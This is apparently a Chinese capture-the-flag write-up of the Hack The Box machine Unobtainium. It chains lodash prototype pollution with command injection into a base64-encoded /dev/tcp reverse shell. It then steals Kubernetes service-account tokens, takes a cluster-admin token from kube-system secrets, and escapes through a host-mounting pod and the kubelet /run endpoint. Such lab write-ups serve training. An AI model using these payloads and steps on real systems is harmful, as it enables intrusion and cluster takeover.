nmap
1 |
|
k8s端口全有鉴权
80给了三个包,我拿的deb
down下来后拆一下
1 | └─$ pwd |
包里看到有些ajax请求
1 | $.ajax({ |
1 | $(document).ready(function(){ |
给了个账号密码倒是,尝试请求http://unobtainium.htb:31337/todo
,因为他读了个文件,可能会有lfi
这里抓他应用的包直接发一个
1 | └─$ curl -XPOST 'http://10.10.10.235:31337/todo' -H 'Content-Type: application/json' -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" :"todo.txt"}' -svk |
获取到了todo.txt
接下来尝试读别的
1 | ─$ curl -XPOST 'http://10.10.10.235:31337/todo' -H 'Content-Type: application/json' -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" :"../../../../../../etc/passwd"}' -sk |
他就卡住了
将他filename置空试下
1 | └─$ curl -XPOST 'http://10.10.10.235:31337/todo' -H 'Content-Type: application/json' -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" :""}' -sk |
出现报错,筛选一下他项目报错的文件,因为是nodejs的服务,大概率突破口在这
1 | └─$ curl -XPOST 'http://10.10.10.235:31337/todo' -H 'Content-Type: application/json' -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" :""}' -sk|grep -E '[^/]+.js' -o|sort -u |
再一次尝试读取,三个都试了下,只有index.js
可以读到,不知道什么原理
1 | var root = require("google-cloudstorage-commands"); |
打这种东西上来就直接搜他的库,就像这里google-cloudstorage-commands
,存在命令注入。
https://security.snyk.io/package/npm/google-cloudstorage-commands/0.0.1
1 | PoC |
我们获取到的index.js中也正存在这个漏洞
1 | app.post('/upload', (req, res) => { |
但是这里做了个校验
1 | const user = findUser(req.body.auth || {}); |
一个是user要存在,一个是user需要有user.canUpload
属性
看下user
1 | const users = [ |
admin
有这个属性,但是密码我们获取不到
不过他这里有个merge
,ctf的原型链中经常会用到的一个方法
1 | app.put('/', (req, res) => { |
考虑到可能是原型链污染,所以去查了下,这个方法是lodash
库的,之前还真没细看他是哪个库的。
https://security.snyk.io/vuln/SNYK-JS-LODASHMERGE-173732
https://hackerone.com/reports/380873
这里可以给user
注入一个canupload
属性
然后琢磨一下他发包的方式
1 | _.merge(message, req.body.message, { |
找一下app里的
1 | var message = $("#message").val().trim(); |
看样子直接把payload放到message
,他就可以合并了
1 | POST /upload HTTP/1.1 |
发起请求(这步有可能需要多发几次)
1 | └─$ curl -XPOST 'http://10.10.10.235:31337/upload' -H 'Content-Type: application/json' -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" :"& curl 10.10.16.8 "}' -sk |
revshell
1 | root@webapp-deployment-9546bc7cb-zjnnh:~# cat user.txt |
to Root
直接找本地pod的和kubernets交互的token
1 | # pwd |
拿到看下当前对面的namespaces
有哪些
1 | └─$ curl -s --cacert ./ca.crt --header "Authorization: Bearer ${TOKEN}" -X GET https://10.10.10.235:8443/api/v1/namespaces -k -x http://127.0.0.1:8080|jq '.items.[].metadata.name' |
然后再挨个看下权限,通过刚刚我们拿到revshell的容器内的namespace
可以看到到它属于default
,所以看下其他的
dev
1 | └─$ curl --cacert ca.crt --header "Authorization: Bearer ${TOKEN}" -i -s -k -X $'POST' \ |
重点看当前token对dev有pod的查看和列出权限
1 | curl --cacert ca.crt --header "Authorization: Bearer $(cat token)" -s -k https://10.10.10.235:8443/api/v1/pods |
我这里机器挂了,就没有补写回显内容了
能看到dev
中有三个pod
1 | └─$ curl --cacert ca.crt --header "Authorization: Bearer ${TOKEN}" -s -k https://10.10.10.235:8443/api/v1/namespaces/dev/pods|jq '.items.[].metadata.managedFields.[].fieldsV1'|grep ip |
和服务端口
1 | └─$ curl --cacert ca.crt --header "Authorization: Bearer $(cat token_admin)" -s -k https://10.10.10.235:8443/api/v1/namespaces/dev/pods -sk|jq|grep containerPort |
尝试从default
的容器中访问这三台的3000口
1 | # curl 10.42.0.63:3000 -skv |
看着header和最初暴露的31337挺像的
用31337的todo.txt
访问测试一下
1 | # curl -XPOST '10.42.0.63:3000/todo' -H 'Content-Type: application/json' -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" :"todo.txt"}' -sk |
没错,就是同样的服务,那也就用同样的方式再拿一遍dev的pod内容器的shell就好
1 | root@webapp-deployment-9546bc7cb-zjnnh:/run/secrets/kubernetes.io/serviceaccount# curl -XPUT 'http://10.42.0.70:3000' -H 'Content-Type: application/json' -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message" :{"prototype": {"canUpload": true}}}' |
merge污染完再拿一下shell
1 | curl -XPOST 'http://10.42.0.70:3000/upload' -H 'Content-Type: application/json' -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" :"a | echo L2Jpbi9iYXNoID4mIC9kZXYvdGNwLzEwLjEwLjE2LjkvMTAwODcgMD4mMQ==|base64 -d|bash "}' -skv |
再一次拿到pod内的serviceaccount
1 | └─$ nc -lvnp 10087 |
拿着新的token看下权限
dev
1 | └─$ curl --cacert ca.crt --header "Authorization: Bearer $(cat token_dev )" -i -s -k -X $'POST' \ |
这个token的dev空间权限和之前没什么差异
kube-system
1 | └─$ curl --cacert ca.crt --header "Authorization: Bearer $(cat token_dev )" -i -s -k -X $'POST' \ |
反而是对于kube-system
有了查看secrets的权限
1 | "verbs": [ |
查看一下
1 | └─$ k get secrets --all-namespaces |
看下具体哪个Service Account
权限高一些需要看集群角色绑定,看哪个绑了cluster-admin
1 | └─$ k get clusterrolebindings -o wide | grep cluster-admin |
可以看到c-admin
token绑到了cluster-admin
,那他的权限就到头了
获取c-admin-token-b47f7
1 | └─$ k get secret c-admin-token-b47f7 -n kube-system -o json |
替换token
1 | └─$ echo 'ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNkluUnFTRlowT1RoblpFTlZjRGg0U1hsdFRHaGZVMGhFWDNBMlVYQmhNRzAzWDJweFVWWXRNSGxyWTJjaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKakxXRmtiV2x1TFhSdmEyVnVMV0kwTjJZM0lpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVibUZ0WlNJNkltTXRZV1J0YVc0aUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNTFhV1FpT2lJek1UYzNPR1F4TnkwNU1EaGtMVFJsWXpNdE9UQTFPQzB4WlRVeU16RTRNR0l4TkdNaUxDSnpkV0lpT2lKemVYTjBaVzA2YzJWeWRtbGpaV0ZqWTI5MWJuUTZhM1ZpWlMxemVYTjBaVzA2WXkxaFpHMXBiaUo5LmZrYV9VVWNlSUpBbzN4bUZsOFJYbmNXRXNaQzNXVVJPdzV4NmRtZ1FoXzgxZWFtMXh5eHFfaWxJejZDajZIN3Y1QmpjZ0lpd3NXVTl1MTN2ZVk2ZEZFck9zZjFJMTBuQURxWkQ2NlZRMjRJNlRMcUZhc1RwblJIR19leldLOFV1WHJaY0hCdTRIcmloNExBYTJycE9SbTh4UkF1TlZFbWliWU5HaGpfUE5lWjZFV1FKdzduODdsaXIybFljcUdFWTExa1hCUlNpbFJVMWdOaFdibktvS1JlR19PVGhpUzVjQ28yZHM4S0RYNkJad3hFcGZXNEE3ZktDLVNkTFlRcTZfaTJFemtWb0JnOFZrMk1sY0doTi0wX3VlcnI2clBiU2k5ZmFRTm9LT1pCWVlmVkhHR00zUURDQWszRHUtWXRCeWxvQkNmVHc4WHlsRzlFdVRndGdaQQ=='|base64 -d > token_admin |
再一次查看权限
1 | └─$ curl --cacert ca.crt --header "Authorization: Bearer $(cat token_admin )" -i -s -k -X $'POST' \ |
可以看到我们当前的权限变成了*
,可以为所欲为,这里还是用常规pod
创建的volume
挂载的方式进行逃逸
查一下能用的images
1 | └─$ curl --cacert ca.crt --header "Authorization: Bearer $(cat token_admin)" -s -k https://10.10.10.235:8443/api/v1/pods|grep '"image"'|sort -u |
创建一个模板
1 | k run new-pod --image='localhost:5000/dev-alpine' --dry-run=client -o yaml > new-pod.yaml |
然后改一下,这里8443通过sleep的方式再用exec需要ws,所以这里我会用其他两种方式来演示恶意pod的revshell
首先是command直接弹shell
1 | └─$ cat my-pod.yaml |
这种提前开好nc直接接shell就ok 这里不赘述
创建一下
1 | ─$ k apply -f my-pod.yaml |
查看状态
1 | └─$ k get -n kube-system pods |
而后是10250
的/run
执行命令的方式
1 | ─$ curl -XPOST https://10.10.10.235:10250/run/kube-system/new-pod/new-pod-1 -d 'cmd=cat /a/root/root.txt' -k -H "Authorization: Bearer $(cat token_admin)" --cacert ./ca.crt |
在steamcloud
中我没有记录
这个/run
其实是在
https://github.com/kubernetes/kubernetes/blob/release-1.30/pkg/kubelet/server/server.go
下面这个部分定义
1 | func (s *Server) getRun(request *restful.Request, response *restful.Response) { |
他在这里被调用,可以看到她下面就是/exec
1 | func (s *Server) InstallDebuggingHandlers() { |